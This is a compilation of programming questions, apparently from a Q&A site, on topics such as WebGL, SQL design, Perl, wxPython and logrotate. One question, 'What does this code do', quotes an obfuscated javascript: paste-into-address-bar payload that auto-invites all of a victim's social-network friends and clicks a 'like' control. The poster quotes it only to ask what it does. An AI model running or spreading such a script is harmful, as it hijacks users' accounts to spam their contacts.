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  • Need guidelines for optimizing WebGL performance by minimizing shader changes

    - by brainjam
    I'm trying to get an idea of the practicality of WebGL for rendering large architectural interior scenes, consisting of 100K's of triangles. These triangles are distributed over many objects, and there are many materials in the scene. On the other hand, there are no moving parts. And the materials tend to be fairly simple, mostly based on texture maps. There is a lot of texture map sharing .. for example all the chairs in scene will share a common map. There is also some multitexturing - up to three textures overlaid in a material. I've been doing a little experimentation and reading, and gather that frequently switching materials during a rendering pass will slow things down. For example, a scene with 200K triangles will have significant performance differences, depending on whether there are 10 or 1000 objects, assuming that each time an object is displayed a new material is set up. So it seems that if performance is important the scene should be sorted by materials so as to minimize material switching. What I'm looking for is guidelines on how to think of the overhead of various state changes, and where do I get the biggest bang for the buck. For example, what are the relative performance costs of, say, gl.useProgram(), gl.uniformMatrix4fv(), gl.drawElements() should I try to write ubershaders to minimize shader switching? should I try to aggregate geometry to minimize the number of gl.drawElements() calls I realize that mileage may vary depending on browser, OS, and graphics hardware. And I'm also not looking for heroic measures. Just some guidelines from people who have already had some experience in making scenes fast. I'll add that while I've had some experience with fixed-pipeline OpenGL programming in the past, I'm rather new to the WebGL/OpenGL ES 2.0 way of doing things.

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  • ISO/IEC Website and Charging for C and C++ Standards

    - by Michael Aaron Safyan
    The ISO C Standard (ISO/IEC 9899) and the ISO C++ Standard (ISO/IEC 14882) are not published online; instead, one must purchase the PDF for each of those standards. I am wondering what the rationale is behind this... is it not detrimental to both the C and C++ programming languages that the authoritative specification for these languages is not made freely available and searchable online? Doesn't this encourage the use of possibly inaccurate, non-authoritative sources for information regarding these standards? While I understand that much time and effort has gone into developing the C and C++ standards, I am still somewhat puzzled by the choice to charge for the specification. The OpenGroup Base Specification, for example, is available for free online; they make money buy charging for certification. Does anyone know why the ISO standards committees don't make their revenue in certifying standards compliance, instead of charging for these documents? Also, does anyone know if the ISO standards committee's atrociously looking website is intentionally made to look that way? It's as if they don't want people visiting and buying the spec. One last thing... the C and C++ standards are generally described as "open standards"... while I realize that this means that anyone is permitted to implement the standard, should that definition of "open" be revised? Charging for the standard rather than making it openly available seems contrary to the spirit of openness. P.S. I do have a copy of the ISO/IEC 9899:1999 and ISO/IEC 14882:2003, so please no remarks about being cheap or anything... although if you are tempted to say such things, you might want to consider the high school, undergraduate, and graduate students who might not have all that much extra cash. Also, you might want to consider the fact that the ISO website is really sketchy and they don't even tell you the cost until you proceed to the checkout... doesn't really encourage one to go and get a copy, now does it?

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  • Web-app currency input/manipulation/calculation with javascript .. there has got to be a better (fra

    - by dreftymac
    BACKGROUND: I am of the "user-input-lockdown" school of thought. Whenever possible, I try to mistrust and sanitize user input, both client side and server side; and I try to take multiple opportunities to restrict possible inputs to a known subset of possibilities, usually this means providing a lot of checkboxes and select lists. (This is from the usability side of things, I know security-wise that malicious users can easily bypass fixed user input GUI controls). PROBLEM: Anyway, the problem always arises with non-fixed input of currency. Whenever I have to accept a freely-specified dollar amount as user input, I always have to confront these problems/annoyances and it is always painful: 1) Make sure to give the user two input boxes for each currency_datapoint, one for the whole_dollar_part and another for the fractional_pennies_part 2) Whenever the user changes a currency_datapoint, provide keystroke-by-keystroke GUI feedback to let them know whether the currency_datapoint is well-formed, with context-appropriate validation rules (e.g., no negatives?, nonzero only?, numeric only!, no non-numeric punctuation! no symbols!) 3) For display purposes, every user-provided currency_datapoint should be translated to human-readable currency formatting (dollar sign, period, commas provided by the app, where appropriate) 4) For calculation purposes, every user-provided currency_datapoint has to be converted to integer (all pennies, to avoid floating point errors) and summed into a grand total with zero or more subtotals. 5) Every user-provided currency_datapoint should be displayed or displayable in a nice "tabular" format, which auto-updates as the user enters each currency_datapoint, including a baloon that warns when one or more currency_datapoints is not well-formed. I seem to be re-inventing this wheel every time I have to work with currency in Javascript on the client side (server side is a bit more flexible since most programming languages have higher-level currency formatting logic). QUESTION: Has anyone out there solved the problem of dealing with the above issues, client side, in a way that is server-side-technology-stack agnostic, (preferrably plain javascript or jquery)? This is getting old, there has to be a better way.

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  • Why does Jcreator show iIlegal start of expression?

    - by Inusual Whisper Sinclair
    I am new at programming and currently in our classes we are learning java. I am trying to create a routine in which I need to use String variables only. Below it is the code in which I am working with: public static void main(String[] args) throws java.io.IOException { BufferedReader in = new BufferedReader(new InputStreamReader(System. in )); PrintStream out = System.out; String hair.equals("damagedHair"); cutHair(marvin); cleanHair(michelle); for (int i = 0; i < 2; i++) { static void cutHair(String marvin) { String cabello; marvin.equals(hair); if (marvin.equals("damagedHair")) { cabello.equals("newHaircut"); result(hair); } static void cleanHair(String michelle) { String hair; michelle.equals(hair); if (michelle.equals(newHaircut)) { hair.equals("putShampooAndConditioner"); result(hair); } static void result(String pHair) {; PrintStream out = System.out; out.println("============="); out.println(pHair); out.println("============="); } } Jcreator is giving me an error that says Illegal start of expression and also java 50 error ';' expected. I am not sure why is this coming up and I am a little confused as to whether I am doing something I am not supposed to and how to correct it. Sorry about the double posting, this is the right message. Need some help from you guys to figure this out. Thanks in advanced!

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  • Does complex JOINs causes high coupling and maintenance problems ?

    - by ashkan.kh.nazary
    Our project has ~40 tables with complex relations.A colleague believes in using long join queries which enforces me to learn about tables outside of my module but I think I should not concern about tables not directly related to my module and use data access functions (written by those responsible for other modules) when I need data from them. Let me clarify: I am responsible for the ContactVendor module which enables the customers to contact the vendor and start a conversation about some specific product. Products module has it's own complex tables and relations with functions that encapsulate details (for example i18n, activation, product availability etc ...). Now I need to show the product title of some product related to some conversation between the vendor and customers. I may either write a long query that retrieves the product info along with conversation stuff in one shot (which enforces me to learn about Product tables) OR I may pass the relevant product_id to the get_product_info(int) function. First approach is obviously demanding and introduces many bad practices and things I normally consider fault in programming. The problem with the second approach seems to be the countless mini queries these access functions cause and performance loss is a concern when a loop tries to fetch product titles for 100 products using functions that each perform a separate query. So I'm stuck between "don't code to the implementation, code to interface" and performance. What is the right way of doing things ? UPDATE: I'm specially concerned about possible future modifications to those tables outside of my module. What if the Products module decided to change the way they are doing things? or for some reason modify the schema? It means some other modules would break or malfunction until the change is integrated to them. The usual ripple effect problem.

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  • SQLite for personal use

    - by ALife
    What are the applications for your personal use that needs a small database like SQLite? I am thinking of trying a few popular databases and SQLite is surely the first one I am planning to try since I know barely nothing about database except some simple programming years ago. I learned that SQLite is good for personal use. But embarrassingly I do not see any application except maybe managing my list of phone numbers/contact info, which has probably a few hundred items. What's your experience? FYI, I use EndNote for my reference and softcopy of books, and I feel iTunes' music/media management is ok since I am not a frequent user anyway. And others? I do lots of coding, but I just use some simple etags tools for that. And I pretty much use .txt file (sometimes in the asciidoc style) for my notes. I have quite a bunch of notes, but not that many either. So, really, what are your personal applications that need a small database instead of existing tools and plain text files?

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  • How do the size standard libraries compare for different languages

    - by Roman A. Taycher
    Someone was recently raving about how great jQuery was and how it made javascript into a pleasure and also how the whole source code was so small(and one file). I looked it up on www.ohloh.net/ and it said it was about 30,000 lines of javascript, when I tired curl piped to wc it said about 5000 lines(strange discrepancy that, maybe test suites, ect?). I thought well it isn't that strange since javascript from what I've heard has a lot of fun dynamic tricks, so you can probably get away with a small library. But then I thought what about other high level languages, the ones with large standard libraries and wondered how big the standard are for python/ruby/haskell/pharo(smalltalk)/*ml/ect. (libraries not vm stuff to the degree its possible to separate it) Anybody know? Any details (comment/blank/code lines , test code lines, lines in language vs lines in ffi/byte-code) are appreciated! edit: ps. since it started this me asking about jQuery as a bonus if you could please list the size of mega frameworks, a megaframewok provides so much that people using an x megaframework in language y might sometimes refer to programming in xy or even x rather then in y (ie. : qt, jQuery, etc.).

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  • Can't Display Bitmap of Higher Resolution than CDC area

    - by T. Jones
    Hi there dear gurus and expert coders. i am not gonna start with im a newbie and don't know much about image programming but unfortunately those are the facts :( I am trying to display an image from a bitmap pointer *ImageData which is of resolution 1392x1032. I am trying to draw that at an area of resolution or size 627x474. However, repeated trying doesnt seem to work. It works when I change the bitmap image I created from *ImageData width and height to resolution or size of around 627x474 I really do not know how to solve this after trying all possible solutions from various forums and google. pDC is a CDC* and memDC is a CDC initialized in an earlier method Anything uninitialized here was initialized in other methods. Here is my code dear humble gurus. Do provide me with guidance Yoda and Obi-Wan provided to Luke Skywalker. void DemoControl::ShowImage( void *ImageData ) { int Width; //Width of Image From Camera int Height; //Height of Image From Camera int m_DisplayWidth = 627 ;//width of rectangle area to display int m_DisplayHeight = 474;//height of rectangle area to display GetImageSize( &Width, &Height ) ; //this will return Width = 1392, Height 1032 CBitmap bitmap; bitmap.CreateBitmap(Width,Height,32,1,ImageData); CBitmap* pOldBitmap = memDC.SelectObject((CBitmap*)&bitmap); pDC->BitBlt(22, 24, 627, 474, &memDC, 0, 0, SRCCOPY); memDC.SelectObject((CBitmap*)pOldBitmap); ReleaseDC(pDC); }

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  • What does this code do

    - by Wardy
    Ok someone who happens to be a good friend of mine is sending me some odd emails lately one of which was a link to a page that asks you to copy and paste this in to your address bar in your browser then execute it ... javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); Not being totally with it when it comes to low level programming i'm curious as to what the email is asking here ... PLEASE DO NOT RUN THIS CODE UNLESS YOU ARE HAPPY THAT IT WILL NOT BREAK ANYTHING. But ... Could someone tell me what it does?

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  • How can I print text fields at the right coordinates?

    - by Milad
    I don't have any background in programming and this is my first shot. I wrote a Delphi program that is supposed to print on a result sheet. I work in an institute and we have to establish hundreds of result sheets every 2 months. It's really difficult to do that and different handwriting is also an important issue. I have this code: if PrintDialog.Execute() then begin with MyPrinter do begin MyPrinter.BeginDoc();//Start Printing //Prints First Name MyPrinter.Canvas.TextOut(FirstNameX,FirstNameY,EditFirstName.Text); //Prints Last Name MyPrinter.Canvas.TextOut(LastNameX,LastNameY,EditLastName.Text); //Prints Level MyPrinter.Canvas.TextOut(LevelX,LevelY,EditLevel.Text); //Prints Date MyPrinter.Canvas.TextOut(DateX,DateY,MEditDate.Text); //Prints Student Number MyPrinter.Canvas.TextOut(StdNumX,StdNumY,EditStdnumber.Text); .... MyPrinter.EndDoc();//End Printing end; end; I can't get the right coordinates to print properly. Am I missing something? How can I set the right coordinates? You know TPrinter uses pixels to get the coordinates but papers are measured in inches or centimeters. I'm really confused. I appreciate any help.

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  • How to link pnglite library in c?

    - by zaplec
    Hi, I installed from kubuntu's package management this handy pnglite library. It contains just one header file "pnglite.h" and one object file "pnglite.o". I have found out where those files are, but I don't know how to link them. I'm using netbeans, but don't know how to link them in there. Also I don't understand how to link them at console. I have a little test program that I would like to test, but I get the error message "undefined reference to function: XXXXXXX". Both netbeans and at console I'm using gcc. That header file is in /usr/include directory, object file is in /usr/lib directory and my test program is under my programming directory at my home directory. Should I put that header and object into the same directory as where my source is? Or is there a way to link them from their current locations? I know that it should be possible to link them from where they are at the moment and I would like to know and understand how to do that. Any help will be appreciated :)

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  • No resource type specified (at 'id' with value '@+id\st')

    - by Refaat
    I'm new at android programming, I'm now trying to make some buttons, I configured these buttons using the following code: The MainActivity class : public class MainActivity extends Activity { /** Called when the activity is first created. */ Button st,nd,center; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); st = (Button)findViewById(R.id.st); st = (Button)findViewById(R.id.center); st = (Button)findViewById(R.id.nd); } } and the XML Layout: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@drawable/background" > <TextView android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="Hello from animation!!" /> <button android:layout_width="100dp" android:layout_height="50dp" android:text="1st half" android:id="@+id\st" /> // and the other two points defined the same way </LinearLayout> And i got that syntax error: error: Error: No resource type specified (at 'id' with value '@+id\st'). // and the same error with the other two buttons HINT: The R class is imported and accessible from the MainActivity class but it can't read R.id.

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  • Summation loop program in Pascal

    - by user2526598
    I am having a bit of an issue with this problem. I am taking a Pascal programming class and this problem was in my logic book. I am required to have the user enter a series of (+) numbers and once he/she enters a (-) number, the program should find the sum of all the (+) numbers. I accomplished this, but now I am attempting part two of this problem, which requires me to utilize a nested loop to run the program x amount of times based on the user's input. The following code is what I have so far and honestly I am stumped: program summation; //Define main program's variables var num, sum, numRun : integer; //Design procedure that will promt user for number of runs procedure numRunLoop ( var numRun : integer ); begin writeln('How many times shall I run this program?'); readln(numRun); end; //Design procedure that will sum a series of numbers //based on user input procedure numPromptLoop( numRun : integer; var num : integer ); var count : integer; begin //Utilize for to establish run limit for count := 1 to numRun do begin //Use repeat to prompt user for numbers repeat writeln('Enter a number: '); readln(num); //Tells program when to sum if num >= 0 then sum := sum + num; until num < 0; end; end; //Design procedure that will display procedure addItion( sum : integer ); begin writeln('The sum is; ', sum); end; begin numRunLoop(numRun); numPromptloop(numRun, num); addItion(sum); readln(); end.

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  • Simulated Annealing and Yahtzee!

    - by Jasie
    I've picked up Programming Challenges and found a Yahtzee! problem which I will simplify: There are 13 scoring categories There are 13 rolls by a player (comprising a play) Each roll must fit in a distinct category The goal is to find the maximum score for a play (the optimal placement of rolls in categories); score(play) returns the score for a play Brute-forcing to find the maximum play score requires 13! (= 6,227,020,800) score() calls. I choose simulated annealing to find something close to the highest score, faster. Though not deterministic, it's good enough. I have a list of 13 rolls of 5 die, like: ((1,2,3,4,5) #1 (1,2,6,3,4),#2 ... (1,4,3,2,2) #13 ) And a play (1,5,6,7,2,3,4,8,9,10,13,12,11) passed into score() returns a score for that play's permutation. How do I choose a good "neighboring state"? For random-restart, I can simply choose a random permutation of nos. 1-13, put them in a vector, and score them. In the traveling salesman problem, here's an example of a good neighboring state: "The neighbours of some particular permutation are the permutations that are produced for example by interchanging a pair of adjacent cities." I have a bad feeling about simply swapping two random vector positions, like so: (1,5,6,7, 2 , 3,4,8,9,10, 13, 12,11) # switch 2 and 13 (1,5,6,7, 13, 3,4,8,9,10, 2 , 12,11) # now score this one But I have no evidence and don't know how to select a good neighboring state. Anyone have any ideas on how to pick good neighboring states?

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  • Do you use Styrofoam balls to model your systems?

    - by Nick D
    [Objective-C] Do you still use Styrofoam balls to model your systems, where each ball represents a class? Tom Love: We do, actually. We've also done a 3D animation version of it, which we found to be nowhere near as useful as the Styrofoam balls. There's something about a physical, conspicuous structure hanging from the ceiling right in the middle of a development project that's regularly updated to provide not only the structure of the system that you're building, but also the current status of each one of the classes. We've done it on 19 projects the last time I've counted. One of them was 1,856 classes, which is big - actually, probably bigger than it should be. It was a big commercial project, so it needed to be somewhat big. Masterminds of Programming It is the first time I've read or heard about using styrofoam balls to model classes. Is that a commonly used technique? And, how does that sort of modeling help us to design better the system? If you have any photos to share which can show us how the classes are represented it'd be great!

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  • Text message intent - catch and send

    - by Espen
    Hi! I want to be able to control incoming text messages. My application is still on a "proof of concept" version and I'm trying to learn Android programming as I go. First my application need to catch incomming text messages. And if the message is from a known number then deal with it. If not, then send the message as nothing has happened to the default text message application. I have no doubt it can be done, but I still have some concern and I see some pitfalls at how things are done on Android. So getting the incomming text message could be fairly easy - except when there are other messaging applications installed and maybe the user wants to have normal text messages to pop up on one of them - and it will, after my application has had a look at it first. How to be sure my application get first pick of incomming text messages? And after that I need to send most text messages through to any other text message application the user has chosen so the user can actually read the message my application didn't need. Since Android uses intents that are relative at best, I don't see how I can enforce my application to get a peek at all incomming text messages, and then stop it or send it through to the default text messaging application...

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  • Access violations in strange places when using Windows file dialogs

    - by Robert Oschler
    A long time ago I found out that I was getting access violations in my code due to the use of the Delphi Open File and/or Save File dialogs, which encapsulate the Windows dialogs. I asked some questions on a few forums and I was told that it may have been due to the way some programs add hooks to the shell system that result in DLLs getting injected in every process, some of which can cause havoc with a program. For the record, the programming environment I use is Delphi 6 Professional running on Windows XP 32-bit. At the time I got around it by not using Delphi's Dialog components and instead calling straight into comdlg32.dll. This solved the problem wonderfully. Today I was working with memory mapped files for the first time and sure enough, access violations started cropping up in weird parts of the code. I tried my comdlg32.dll direct calls and this time it didn't help. To isolate the problem as a test I created a list box with the exact same files I was using during testing. These are the exact same test files I was selecting from an Open File dialog and then launching my memory mapped file with. I set things up so that by clicking on a file in the list box, I would use that file in my memory mapped file test instead of calling into a comdlg32.dll dialog function to select a test file. Again, the access violatons vanished. To show you how dramatic a fix it was I went from experiencing an access violation within 1 to 3 trials to none at all. Unfortunately, it's going to bite me later on of course when I do need to use file dialogs. Has anyone else dealt with this issue too and found the real culprit? Did any of you find a solution I could use to fix this problem instead of dancing around it like I am now? Thanks in advance.

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  • Does this language feature already exists?

    - by Pindatjuh
    I'm currently developing a new language for programming in a continuous environment (compare it to electrical engineering), and I've got some ideas on a certain language construction. Let me explain the feature by explanation and then by definition; x = a | b; Where x is a variable and a and b are other variables (or static values). if(x == a) { // all references to "x" are essentially references to "a". } if(x == b) { // same but with "b" } if(x != a) { // ... } if(x == a | b) { // guaranteed that "x" is '"a" | "b"'; interacting with "x" // will interact with both "a" and "b". } // etc. In the above, all code-blocks are executed, but the "scope" changes in each block how x is interpreted. In the first block, x is guaranteed to be a: thus interacting with x inside that block will interact on a. The second and the third code-block are only equal in this situation (because not b only remains a). The last block guarantees that x is at least a or b. Further more; | is not the "bitwise or operator", but I've called it the "and/or"-operator. It's definition is: "|" = "and" | "or" (On my blog, http://cplang.wordpress.com/2009/12/19/binop-and-or/, is more (mathematical) background information on this operator. It's loosely based on sets.) I do not know if this construction already exists, so that's my question: does this language feature already exists?

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  • wxpython: adding panel to wx.Frame disables/conflicts with wx.Frame's OnPaint?!

    - by sdaau
    Hi all, I just encountered this strange situation: I found an example, where wx.Frame's OnPaint is overridden, and a circle is drawn. Funnily, as soon as I add even a single panel to the frame, the circle is not drawn anymore - in fact, OnPaint is not called at all anymore ! Can anyone explain me if this is the expected behavior, and how to correctly handle a wx.Frame's OnPaint, if the wx.Frame has child panels ? Small code example is below.. Thanks in advance for any answers, Cheers! The code: #!/usr/bin/env python # http://www.linuxquestions.org/questions/programming-9/wxwidgets-wxpython-drawing-problems-with-onpaint-event-703946/ import wx class MainWindow(wx.Frame): def __init__(self, parent, title, size=wx.DefaultSize): wx.Frame.__init__(self, parent, wx.ID_ANY, title, wx.DefaultPosition, size) self.circles = list() self.displaceX = 30 self.displaceY = 30 circlePos = (self.displaceX, self.displaceY) self.circles.append(circlePos) ## uncommenting either only first, or both of ## the commands below, causes OnPaint *not* to be called anymore! #~ self.panel = wx.Panel(self, wx.ID_ANY) #~ self.mpanelA = wx.Panel(self.panel, -1, size=(200,50)) self.Bind(wx.EVT_PAINT, self.OnPaint) def OnPaint(self, e): print "OnPaint called" dc = wx.PaintDC(self) dc.SetPen(wx.Pen(wx.BLUE)) dc.SetBrush(wx.Brush(wx.BLUE)) # Go through the list of circles to draw all of them for circle in self.circles: dc.DrawCircle(circle[0], circle[1], 10) def main(): app = wx.App() win = MainWindow(None, "Draw delayed circles", size=(620,460)) win.Show() app.MainLoop() if __name__ == "__main__": main()

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  • Does Perl auto-vivify variables used as references in subroutine calls?

    - by FM
    I've declared 2010 to be the year of higher-order programming, so I'm learning Haskell. The introduction has a slick quick-sort demo, and I thought, "Hey, that's easy to do in Perl". It turned to be easier than I expected. Note that I don't have to worry about whether my partitions ($less and $more) are defined. Normally you can't use an undefined value as an array reference. use strict; use warnings; use List::MoreUtils qw(part); my @data = (5,6,7,4,2,9,10,9,5,1); my @sorted = qsort(@data); print "@sorted\n"; sub qsort { return unless @_; my $pivot = shift @_; my ($less, $more) = part { $_ < $pivot ? 0 : 1 } @_; # Works, even though $less and $more are sometimes undefined. return qsort(@$less), $pivot, qsort(@$more); } As best I can tell, Perl will auto-vivify a variable that you try to use as a reference -- but only if you are passing it to a subroutine. For example, my call to foo() works, but not the attempted print. use Data::Dumper qw(Dumper); sub foo { print "Running foo(@_)\n" } my ($x); print Dumper($x); # Fatal: Can't use an undefined value as an ARRAY reference. # print @$x, "\n"; # But this works. foo(@$x); # Auto-vivification: $x is now []. print Dumper($x); My questions: Am I understanding this behavior correctly? What is the explanation or reasoning behind why Perl does this? Is this behavior explained anywhere in the docs?

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  • I want my logs sent to my mail with logrotate

    - by lericson
    Not strictly a question about programming as such, more of a log handling question. Anyway. My company has multiple clients, and each of these clients have a set of logs that I'd rather much want to get sent to by e-mail to me. Now, another prerequisite is that they're hilighted by simple HTML. All that is very well, I've managed to make a hilighter for the given log types. So, what I do is I use logrotate's prerotate stuff to send the logs as an e-mail message. Example: /var/log/a.log /var/log/b.log { daily missingok copytruncate prerotate /usr/bin/python /home/foo/hilight_logs /var/log/{a,b}.log | /usr/sbin/sendmail -FLog\ mailer [email protected] [email protected] endscript } The problem with this approach is basically that logrotate sucks: it'll run the command for every log file specified in the specifier, and to my knowledge there's no way to know which of the log files is being handled. (Which wouldn't really help anyway.) Short of repeating the exact same logrotate up to 10 times on different machines, the only thing I can do is just to get bogged down with log spam every night. And I grew tired of it today, so I ask.

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  • How to pass a function in a function?

    - by SoulBeaver
    That's an odd title. I would greatly appreciate it if somebody could clarify what exactly I'm asking because I'm not so sure myself. I'm watching the Stanford videos on Programming Paradigms(that teacher is awesome) and I'm up to video five when he started doing this: void *lSearch( void* key, void* base, int elemSize, int n, int (*cmpFn)(void*, void*)) Naturally, I thought to myself, "Oi, I didn't know you could declare a function and define it later!". So I created my own C++ test version. int foo(int (*bar)(void*, void*)); int bar(void* a, void* b); int main(int argc, char** argv) { int *func = 0; foo(bar); cin.get(); return 0; } int foo(int (*bar)(void*, void*)) { int c(10), d(15); int *a = &c; int *b = &d; bar(a, b); return 0; } int bar(void* a, void* b) { cout << "Why hello there." << endl; return 0; } The question about the code is this: it fails if I declare function int *bar as a parameter of foo, but not int (*bar). Why!? Also, the video confuses me in the fact that his lSearch definition void* lSearch( /*params*/ , int (*cmpFn)(void*, void*)) is calling cmpFn in the definition, but when calling the lSearch function lSearch( /*params*/, intCmp ); also calls the defined function int intCmp(void* elem1, void* elem2); and I don't get how that works. Why, in lSearch, is the function called cmpFn, but defined as intCmp, which is of type int, not int* and still works? And why does the function in lSearch not have to have defined parameters?

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  • when an autoreleased object is actually released?

    - by psebos
    Hi, I am new in objective-c and I am trying to understand memory management to get it right. After reading the excellent Memory Management Programming Guide for Cocoa by apple my only concern is when actually an autoreleased object is released in an iphone/ipod application. My understanding is at the end of a run loop. But what defines a run loop in the application? So I was wondering whether the following piece of code is right. Assume an object @implementation Test - (NSString *) functionA { NSString *stringA; stringA = [[NSString alloc] initWithString:@"Hello" autorelease] return stringA; } - (NSString *) functionB { NSString *stringB; stringB = [self functionA]; return stringB; } - (NSString *) functionC { NSString *stringC; stringC = [self functionB]; return stringC; } - (void)viewDidLoad { [super viewDidLoad]; (NSString *) p = [self functionC]; NSLog(@"string is %@",p); } @end Is this code valid? From the apple text I understand that the NSString returned from functionA is valid in the scope of functionB. I am not sure whether it is valid in functionC and in viewDidLoad. Thanks!

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  • How to contain the Deepwater Horizon oil spill? [closed]

    - by Yarin
    This is obviously not programming, but it's important and we're smart people, so let's give it a shot. (BP has actually begun soliciting suggestions for how to deal with the crisis http://www.deepwaterhorizonresponse.com/go/doc/2931/546759/, confirming that they don't have a clue) I'll start with my own proposal... Anchored Chute: A large-diameter, collapsible, flexible tube/hose with a wide mouth on one end is anchored over the leak. There's no need for a hermetic seal, the opening just needs to be big enough to form a canopy over the leak area. The rest of the tubing can just be dumped on the sea floor. Since oil is denser than water, the oily water that flows into the mouth eventually inflates the tube and raises the opposite end to the surface, where it can be collected (Like those inflatable dancing air socks at car dealerships). Further buoyancy could be added with floats attached to the tube at intervals. I think this method would not be as susceptible to the problems BP had with the containment dome, where a rigid, metal casing froze up with crystallized hydrates, as we would not be trying to contain the full pressure of the well, but would be using the natural buoyancy of the oil to channel its flow, and with a much larger opening.

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  • How to debug PHP?

    - by NutMotion
    Anyone's been trying himself at object oriented programming ? Most probably every developer I guess:D I for one have never studied OO design patterns thoroughly, and trying to put it all together now does prove at times thrilling, and many times frustrating also. Even more so when trying to do it in : PHP! All-in-all, my boss asked me to add some Database persistence functions to her server, but most of all, she asked me to translate her already working procedural code into a working Object Oriented code. Here I am, still standing on my PHP OO project. I'm (already) fed up with this "file logging only" PHP capability. I believe there must be some (free or not too much expansive) PHP debugging utility ? I've heard about Zend Studio and PHPEd so far, which didn't quite do the trick for whatever reasons. WIRCW("Which I don't Remember Correctly Why" lol) What say yé? on debugging PHP ? Is there a tool that provides a good debug mode? what's more, don't forget I'm not speaking about the classical web Request/response model. Talking about a debugging facility which can enable you to trigger a web service (aka client request) and go into debug mode on the SOAP web service side. Thks for any input.

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